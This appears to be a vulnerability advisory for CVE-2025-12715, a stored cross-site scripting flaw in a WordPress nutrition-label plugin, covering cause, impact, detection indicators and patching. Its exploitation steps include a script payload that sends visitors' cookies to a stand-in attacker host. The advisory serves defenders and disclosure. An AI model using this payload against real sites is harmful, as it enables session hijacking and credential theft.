CVE-2025-12715: 
WordPress vulnerability analysis and mitigation

CVE-2025-12715 is a Stored Cross-Site Scripting (XSS) vulnerability in the Canadian Nutrition Facts Label plugin for WordPress, affecting all versions up to and including 3.0. The flaw exists in the percentage field of the Nutrition Label custom post type due to insufficient input sanitization and output escaping. It was published on December 6, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, ENISA EUVD).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize user-supplied input in the percentage field when creating or editing Nutrition Label custom post types, and does not escape the stored value on output. An authenticated attacker with Contributor-level access or higher can inject arbitrary JavaScript into this field; the malicious script is then stored in the database and executed in the browser of any user who visits a page containing the injected label. The vulnerable code path has been identified in the plugin source at line 557 of canadian-nutrition-facts-label.php (Wordfence, Plugin Source).

Successful exploitation allows an authenticated contributor to persistently inject malicious JavaScript that executes in the context of any site visitor's browser, impacting confidentiality and integrity. Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, and further attacks against authenticated administrators (such as privilege escalation via admin-action hijacking). Availability is not directly impacted, but the scope is changed — meaning the injected script can affect users beyond the attacker's own session (Wordfence, ENISA EUVD).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Gain Contributor Access: Obtain or register an account on the target WordPress site with at least Contributor-level privileges (e.g., through open registration or compromised credentials).
2. Navigate to Nutrition Label Post Type: In the WordPress admin dashboard, create or edit a Nutrition Label custom post type entry provided by the Canadian Nutrition Facts Label plugin (version ≤ 3.0).
3. Inject Malicious Payload: In the percentage field, enter a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant.
4. Publish the Post: Save or publish the post containing the injected label. The malicious script is now stored in the WordPress database.
5. Trigger Execution: When any site visitor (including administrators) loads a page that renders the injected Nutrition Label, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to /wp-admin/post.php or the REST API endpoint for Nutrition Label custom post types containing script tags or encoded JavaScript in the percentage parameter.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>) stored in the wp_posts or wp_postmeta tables associated with Nutrition Label post types.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing Nutrition Label shortcodes, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for this stored XSS; however, monitor for new or modified PHP files in the plugin directory that could indicate secondary compromise.

Users should update the Canadian Nutrition Facts Label plugin to version 3.1 or later, which addresses the insufficient sanitization and escaping of the percentage field. As an interim workaround, site administrators can restrict Contributor-level user registration and post creation, or temporarily disable the plugin until patching is feasible. WordPress site owners should also audit existing Nutrition Label post entries for unexpected script content in the percentage field (Wordfence, ENISA EUVD).

The vulnerability was discovered and reported by Wordfence, which published the advisory on December 6, 2025. No notable broader media coverage, vendor statements beyond the Wordfence advisory, or significant social media discussion has been identified for this vulnerability, consistent with its medium severity and limited attack surface.